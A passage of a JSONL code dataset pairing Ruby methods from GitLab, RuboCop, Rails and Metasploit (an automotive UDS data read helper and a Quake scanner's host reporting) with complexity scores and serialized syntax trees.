end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_stylesheet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_custom_stylesheet\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"stylesheet_link_tag\",{\"type\":\"send\",\"children\":[null,\"custom_css_path\",{\"type\":\"send\",\"children\":[null,\"active_custom_stylesheet\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"root_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"media\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_pipeline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"cd70aa10-5ee6-4fff-b22c-ed3faba32934"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_with_image_pull_policy_spec.rb","start_line":125,"raw_source":"def add_ci_file\n        create(:commit, project: project, commit_message: 'Add .gitlab-ci.yml', actions: [\n          {\n            action: 'create',\n            file_path: '.gitlab-ci.yml',\n            content: <<~YAML\n              default:\n                image: ruby:latest\n                tags: [#{runner_name}]\n\n              #{job_name}:\n                script: echo \"Using pull policies #{pull_policies}\"\n                image:\n                  name: ruby:latest\n                  pull_policy: #{pull_policies}\n            YAML\n          }\n        ])\n\n        Flow::Pipeline.wait_for_pipeline_creation_via_api(project: project)\n        Flow::Pipeline.wait_for_latest_pipeline_to_have_status(project: project, status: 'success')\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_ci_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_message\"]},{\"type\":\"str\",\"children\":[\"Add .gitlab-ci.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"create\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_path\"]},{\"type\":\"str\",\"children\":[\".gitlab-ci.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"default:\\n\"]},{\"type\":\"str\",\"children\":[\"  image: ruby:latest\\n\"]},{\"type\":\"str\",\"children\":[\"  tags: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_name\"]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_name\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\"  script: echo \\\"Using pull policies \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_policies\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  image:\\n\"]},{\"type\":\"str\",\"children\":[\"    name: ruby:latest\\n\"]},{\"type\":\"str\",\"children\":[\"    pull_policy: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pull_policies\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flow\"]},\"Pipeline\"]},\"wait_for_pipeline_creation_via_api\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flow\"]},\"Pipeline\"]},\"wait_for_latest_pipeline_to_have_status\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]}]}]}]}","id":"2225c588-8bef-4f2d-98e6-19cfe08d48b8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_daemon/monitor.rb","start_line":30,"raw_source":"def within_job(worker_class, jid, queue)\n        @jobs_mutex.synchronize do\n          @jobs[jid] = { worker_class: worker_class, thread: Thread.current, started_at: Gitlab::Metrics::System.monotonic_time }\n        end\n\n        if cancelled?(jid)\n          Sidekiq.logger.warn(\n            class: self.class.to_s,\n            action: 'run',\n            queue: queue,\n            jid: jid,\n            canceled: true\n          )\n          raise CancelledError\n        end\n\n        yield\n      ensure\n        @jobs_mutex.synchronize do\n          @jobs.delete(jid)\n        end\n      end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"within_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_class\"]},{\"type\":\"arg\",\"children\":[\"jid\"]},{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jobs_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jobs\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"jid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_class\"]},{\"type\":\"lvar\",\"children\":[\"worker_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelled?\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"logger\"]},\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"run\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"lvar\",\"children\":[\"queue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jid\"]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"canceled\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"CancelledError\"]}]}]},null]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jobs_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@jobs\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"jid\"]}]}]}]}]}","id":"60e6578a-ea18-4c34-826d-0b439bca5fb8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/alignment_corrector.rb","start_line":90,"raw_source":"def calculate_range(expr, line_begin_pos, column_delta)\n          return range_between(line_begin_pos, line_begin_pos) if column_delta.positive?\n\n          starts_with_space = expr.source_buffer.source[line_begin_pos].start_with?(' ')\n\n          if starts_with_space\n            range_between(line_begin_pos, line_begin_pos + column_delta.abs)\n          else\n            range_between(line_begin_pos - column_delta.abs, line_begin_pos)\n          end\n        end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expr\"]},{\"type\":\"arg\",\"children\":[\"line_begin_pos\"]},{\"type\":\"arg\",\"children\":[\"column_delta\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_delta\"]},\"positive?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]},{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"starts_with_space\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expr\"]},\"source_buffer\"]},\"source\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starts_with_space\"]},{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_delta\"]},\"abs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_delta\"]},\"abs\"]}]},{\"type\":\"lvar\",\"children\":[\"line_begin_pos\"]}]}]}]}]}","id":"4647241a-32b0-4480-b099-3bbc51ed5c49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/concerns/time_frame_helpers.rb","start_line":8,"raw_source":"def transform_timeframe_parameters(args)\n    return {} unless args[:timeframe]\n\n    args[:timeframe].to_h.transform_keys { |k| :\"#{k}_date\" }\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_timeframe_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"to_h\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"_date\"]}]}]}]}]}","id":"f8141fb4-8fd0-4f8b-8926-4eb09164f896"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/namespaces/rate_limiter_mailer_preview.rb","start_line":5,"raw_source":"def project_or_group_emails\n      project = Project.last\n      user = User.last\n\n      Namespaces::RateLimiterMailer.project_or_group_emails(project, user.email)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_or_group_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"RateLimiterMailer\"]},\"project_or_group_emails\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]}]}]}","id":"2625fc08-7224-4f56-a47b-ef8550957504"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/http/headers.rb","start_line":68,"raw_source":"def []=(key, value)\n        @req.set_header env_name(key), value\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@req\"]},\"set_header\",{\"type\":\"send\",\"children\":[null,\"env_name\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"35564dc0-994e-4006-9246-31797c46483e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/offense_count_formatter.rb","start_line":77,"raw_source":"def total_offense_count(offense_counts)\n        offense_counts.values.sum\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"total_offense_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense_counts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_counts\"]},\"values\"]},\"sum\"]}]}","id":"9bcd2e36-0cef-46f0-842d-8a82884c9613"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/namespaces/groups_filter.rb","start_line":29,"raw_source":"def min_access_level?\n      current_user && params[:min_access_level].present?\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"min_access_level?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_access_level\"]}]},\"present?\"]}]}]}","id":"34db3007-fa63-45dc-90b5-fc4871e513a1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/cookies.rb","start_line":525,"raw_source":"def []=(name, options)\n        if options.is_a?(Hash)\n          options.symbolize_keys!\n        else\n          options = { value: options }\n        end\n\n        commit(name, options)\n        @parent_jar[name] = options\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"[]=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"symbolize_keys!\"]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"commit\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent_jar\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"371dcb79-e159-48ad-b9b9-d110c99693b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/automotive/uds.rb","start_line":702,"raw_source":"def read_data_by_id(bus, src_id, dst_id, id, opt = {})\n    data = []\n    unless client.automotive\n      print_error(\"Not an automotive hwbridge session\")\n      return {} if show_error\n      return []\n    end\n    unless id.is_a? Array\n      print_error(\"ID parameter must be a two byte array\")\n      return {} if show_error\n      return []\n    end\n    unless id.size == 2\n      print_error(\"ID parameter must be a two byte array\")\n      return {} if show_error\n      return []\n    end\n    src_id = src_id.to_s(16)\n    dst_id = dst_id.to_s(16)\n    id.map! { |i| i.to_s(16) } if id[0].is_a? Integer\n    bus = client.automotive.active_bus unless bus\n    unless bus\n      print_line(\"No active bus, use 'connect' or specify bus via the options\")\n      return {}\n    end\n    show_error = false\n    padding = nil\n    show_error = true if opt.key? 'SHOW_ERROR'\n    padding = opt['PADDING'] if opt.key? 'PADDING'\n    opt = {}\n    opt[\"MAXPKTS\"] = 15\n    opt[\"PADDING\"] = padding unless padding.nil?\n    packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt)\n    return [] if packets.nil?\n    if packets.key? \"error\"\n      return packets if show_error\n    else\n      data = response_hash_to_data_array(dst_id, packets)\n      if id.size > 1  # Remove IDs from return\n        data = data[(id.size-1)..data.size]\n      end\n    end\n    data\n  end","complexity_score":81.43,"ast_json":"{\"type\":\"def\",\"children\":[\"read_data_by_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bus\"]},{\"type\":\"arg\",\"children\":[\"src_id\"]},{\"type\":\"arg\",\"children\":[\"dst_id\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Not an automotive hwbridge session\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"ID parameter must be a two byte array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[2]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"ID parameter must be a two byte array\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"show_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"src_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src_id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dst_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dst_id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bus\"]},null,{\"type\":\"lvasgn\",\"children\":[\"bus\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"active_bus\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bus\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"No active bus, use 'connect' or specify bus via the options\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"show_error\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"key?\",{\"type\":\"str\",\"children\":[\"SHOW_ERROR\"]}]},{\"type\":\"lvasgn\",\"children\":[\"show_error\",{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"key?\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]},{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MAXPKTS\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PADDING\"]},{\"type\":\"lvar\",\"children\":[\"padding\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"packets\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"send_isotp_and_wait_for_response\",{\"type\":\"lvar\",\"children\":[\"bus\"]},{\"type\":\"lvar\",\"children\":[\"src_id\"]},{\"type\":\"lvar\",\"children\":[\"dst_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[34]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"key?\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show_error\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]}]},null]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"response_hash_to_data_array\",{\"type\":\"lvar\",\"children\":[\"dst_id\"]},{\"type\":\"lvar\",\"children\":[\"packets\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"fc17c2b9-1cb2-4a67-9ed0-3ece6c7ba8c3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/quake/server_info.rb","start_line":82,"raw_source":"def scanner_postscan(_batch)\n    @results.each_pair do |host, stuff|\n      report_host(host: host)\n      report_service(\n        host: host,\n        proto: 'udp',\n        port: rport,\n        name: 'Quake',\n        info: stuff.inspect\n      )\n    end\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scanner_postscan\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"stuff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report_host\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Quake\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stuff\"]},\"inspect\"]}]}]}]}]}]}]}","id":"31822e86-677d-4021-8170-e237678e47c9"}
